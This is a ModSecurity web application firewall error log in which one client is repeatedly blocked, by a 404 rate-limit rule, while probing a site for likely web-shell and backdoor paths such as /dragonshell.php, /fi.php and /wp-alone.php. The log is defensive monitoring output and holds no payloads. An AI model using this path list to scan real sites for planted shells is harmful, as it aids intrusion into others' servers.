[Thu Apr 23 16:11:42.712571 2026] [:error] [pid 42971:tid 43001] [client 20.216.153.175:56609] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUPjEP2_5RswrH8bEK1QAAAA8"]
[Thu Apr 23 16:11:43.358366 2026] [:error] [pid 42973:tid 43062] [client 20.216.153.175:20257] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUP26I0QqmmmLTHE3CVgAAAJM"]
[Thu Apr 23 16:11:43.652590 2026] [:error] [pid 46953:tid 46956] [client 20.216.153.175:60086] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUP0nlpdHh-P6wKboF_wAAAkA"]
[Thu Apr 23 16:11:44.142140 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:23220] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUQG6I0QqmmmLTHE3CWAAAAJE"]
[Thu Apr 23 16:11:44.858749 2026] [:error] [pid 42971:tid 43000] [client 20.216.153.175:45524] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUQDEP2_5RswrH8bEK2AAAAA4"]
[Thu Apr 23 16:11:45.166451 2026] [:error] [pid 64967:tid 64977] [client 20.216.153.175:57178] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUQYAV4GfOOdX8QzpXtAAAAYg"]
[Thu Apr 23 16:11:45.467817 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:20272] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenUQW6I0QqmmmLTHE3CWgAAAIg"]
[Thu Apr 23 16:11:46.177979 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:24733] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenUQoV5EysYcTLjmwjqUwAAAcc"]
[Thu Apr 23 16:11:46.845650 2026] [:error] [pid 65000:tid 65041] [client 20.216.153.175:32265] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenUQr6vRb9j6psK2Za8XgAAAgg"]
[Thu Apr 23 16:11:47.191356 2026] [:error] [pid 65000:tid 65044] [client 20.216.153.175:32318] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dragonshell.php"] [unique_id "aenUQ76vRb9j6psK2Za8XwAAAgs"]
[Thu Apr 23 16:11:47.782349 2026] [:error] [pid 65000:tid 65057] [client 20.216.153.175:20226] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenUQ76vRb9j6psK2Za8YAAAAhg"]
[Thu Apr 23 16:11:48.546943 2026] [:error] [pid 64967:tid 64989] [client 20.216.153.175:58040] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dragonshell.php"] [unique_id "aenURIAV4GfOOdX8QzpXuQAAAZQ"]
[Thu Apr 23 16:11:48.675705 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:6058] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenURMOAb-3sOknsk4fHPgAAAEs"]
[Thu Apr 23 16:11:49.359873 2026] [:error] [pid 64967:tid 64980] [client 20.216.153.175:20273] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dragonshell.php"] [unique_id "aenURYAV4GfOOdX8QzpXugAAAYs"]
[Thu Apr 23 16:11:49.501040 2026] [:error] [pid 64967:tid 64991] [client 20.216.153.175:32258] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenURYAV4GfOOdX8QzpXuwAAAZY"]
[Thu Apr 23 16:11:50.090534 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:33031] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenURsOAb-3sOknsk4fHRAAAAFU"]
[Thu Apr 23 16:11:50.128814 2026] [:error] [pid 64967:tid 64972] [client 20.216.153.175:57170] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dragonshell.php"] [unique_id "aenURoAV4GfOOdX8QzpXvAAAAYM"]
[Thu Apr 23 16:11:50.814744 2026] [:error] [pid 64998:tid 65013] [client 20.216.153.175:57258] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenURoV5EysYcTLjmwjqWwAAAcs"]
[Thu Apr 23 16:11:51.038291 2026] [:error] [pid 42973:tid 43055] [client 20.216.153.175:60044] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no20.php"] [unique_id "aenUR26I0QqmmmLTHE3CXAAAAIw"]
[Thu Apr 23 16:11:51.593776 2026] [:error] [pid 59700:tid 59716] [client 20.216.153.175:44375] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUR5XyGZJFeAIDWtnoKwAAAU4"]
[Thu Apr 23 16:11:51.946087 2026] [:error] [pid 42973:tid 43058] [client 20.216.153.175:23541] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no20.php"] [unique_id "aenUR26I0QqmmmLTHE3CXQAAAI8"]
[Thu Apr 23 16:11:52.295157 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:39446] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUSMOAb-3sOknsk4fHSwAAAEg"]
[Thu Apr 23 16:11:52.981150 2026] [:error] [pid 42973:tid 43047] [client 20.216.153.175:45543] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUSG6I0QqmmmLTHE3CXwAAAIQ"]
[Thu Apr 23 16:11:53.512194 2026] [:error] [pid 42973:tid 43044] [client 20.216.153.175:32279] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no20.php"] [unique_id "aenUSW6I0QqmmmLTHE3CYgAAAIE"]
[Thu Apr 23 16:11:53.714636 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:57196] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUSW6I0QqmmmLTHE3CZQAAAIU"]
[Thu Apr 23 16:11:54.265603 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:6033] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no20.php"] [unique_id "aenUSsOAb-3sOknsk4fHUQAAAFM"]
[Thu Apr 23 16:11:54.809108 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:35875] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUSsOAb-3sOknsk4fHVAAAAFI"]
[Thu Apr 23 16:11:55.435910 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:59383] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-alone.php"] [unique_id "aenUS8OAb-3sOknsk4fHWAAAAE4"]
[Thu Apr 23 16:11:55.759093 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:35022] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUS8OAb-3sOknsk4fHWwAAAEo"]
[Thu Apr 23 16:11:56.579167 2026] [:error] [pid 46953:tid 46980] [client 20.216.153.175:59378] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUTEnlpdHh-P6wKboGBQAAAlc"]
[Thu Apr 23 16:11:56.692364 2026] [:error] [pid 46953:tid 46966] [client 20.216.153.175:23520] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-alone.php"] [unique_id "aenUTEnlpdHh-P6wKboGBgAAAko"]
[Thu Apr 23 16:11:57.431295 2026] [:error] [pid 65000:tid 65042] [client 20.216.153.175:57230] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUTb6vRb9j6psK2Za8aQAAAgk"]
[Thu Apr 23 16:11:57.601729 2026] [:error] [pid 65000:tid 65030] [client 20.216.153.175:59331] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-alone.php"] [unique_id "aenUTb6vRb9j6psK2Za8agAAAgE"]
[Thu Apr 23 16:11:59.001523 2026] [:error] [pid 46953:tid 46963] [client 20.216.153.175:40081] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-alone.php"] [unique_id "aenUT0nlpdHh-P6wKboGCAAAAkc"]
[Thu Apr 23 16:11:59.814924 2026] [:error] [pid 46953:tid 46962] [client 20.216.153.175:5358] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yasnu.php"] [unique_id "aenUT0nlpdHh-P6wKboGCQAAAkY"]
[Thu Apr 23 16:12:00.585210 2026] [:error] [pid 42971:tid 43009] [client 20.216.153.175:36923] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yasnu.php"] [unique_id "aenUUDEP2_5RswrH8bEK3wAAABc"]
[Thu Apr 23 16:12:00.609288 2026] [:error] [pid 42971:tid 42986] [client 20.216.153.175:36890] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUUDEP2_5RswrH8bEK4AAAAAA"]
[Thu Apr 23 16:12:01.376215 2026] [:error] [pid 64998:tid 65026] [client 20.216.153.175:46088] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUUYV5EysYcTLjmwjqYgAAAdg"]
[Thu Apr 23 16:12:02.195547 2026] [:error] [pid 42973:tid 43054] [client 20.216.153.175:36821] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUUm6I0QqmmmLTHE3CcAAAAIs"]
[Thu Apr 23 16:12:03.044984 2026] [:error] [pid 42973:tid 43050] [client 20.216.153.175:26344] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUU26I0QqmmmLTHE3CcQAAAIc"]
[Thu Apr 23 16:12:03.801364 2026] [:error] [pid 43083:tid 43108] [client 20.216.153.175:41812] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUUzC5hrvNXosL83JR3gAAANc"]
[Thu Apr 23 16:12:03.940165 2026] [:error] [pid 42972:tid 43025] [client 20.216.153.175:36867] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yasnu.php"] [unique_id "aenUU8OAb-3sOknsk4fHYwAAAEk"]
[Thu Apr 23 16:12:04.818342 2026] [:error] [pid 42971:tid 43001] [client 20.216.153.175:42858] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUVDEP2_5RswrH8bEK4wAAAA8"]
[Thu Apr 23 16:12:05.744370 2026] [:error] [pid 43083:tid 43101] [client 20.216.153.175:30881] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUVTC5hrvNXosL83JR3wAAANA"]
[Thu Apr 23 16:12:06.113634 2026] [:error] [pid 43083:tid 43096] [client 20.216.153.175:11858] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yasnu.php"] [unique_id "aenUVjC5hrvNXosL83JR4QAAAMs"]
[Thu Apr 23 16:12:06.855416 2026] [:error] [pid 64998:tid 65019] [client 20.216.153.175:33890] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUVoV5EysYcTLjmwjqZgAAAdE"]
[Thu Apr 23 16:12:07.405328 2026] [:error] [pid 64998:tid 65003] [client 20.216.153.175:11865] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sl.php"] [unique_id "aenUV4V5EysYcTLjmwjqaQAAAcE"]
[Thu Apr 23 16:12:07.920834 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:50823] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUV8OAb-3sOknsk4fHbQAAAFM"]
[Thu Apr 23 16:12:09.172834 2026] [:error] [pid 59700:tid 59719] [client 20.216.153.175:14019] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUWZXyGZJFeAIDWtnoMQAAAVE"]
[Thu Apr 23 16:12:10.284688 2026] [:error] [pid 42973:tid 43067] [client 20.216.153.175:22798] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUWm6I0QqmmmLTHE3CfQAAAJg"]
[Thu Apr 23 16:12:10.337121 2026] [:error] [pid 46953:tid 46978] [client 20.216.153.175:11862] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sl.php"] [unique_id "aenUWknlpdHh-P6wKboGDAAAAlU"]
[Thu Apr 23 16:12:10.965975 2026] [:error] [pid 42973:tid 43057] [client 20.216.153.175:22802] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUWm6I0QqmmmLTHE3CfwAAAI4"]
[Thu Apr 23 16:12:11.658734 2026] [:error] [pid 65000:tid 65054] [client 20.216.153.175:55893] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dragonshell.php"] [unique_id "aenUW76vRb9j6psK2Za8fgAAAhU"]
[Thu Apr 23 16:12:31.748278 2026] [:error] [pid 42972:tid 43032] [client 20.216.153.175:22797] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vuln.php"] [unique_id "aenUb8OAb-3sOknsk4fHoAAAAFA"]
[Thu Apr 23 16:12:32.275363 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:24664] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUcG6I0QqmmmLTHE3CowAAAJI"]
[Thu Apr 23 16:12:32.776030 2026] [:error] [pid 42973:tid 43066] [client 20.216.153.175:28770] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vuln.php"] [unique_id "aenUcG6I0QqmmmLTHE3CpAAAAJc"]
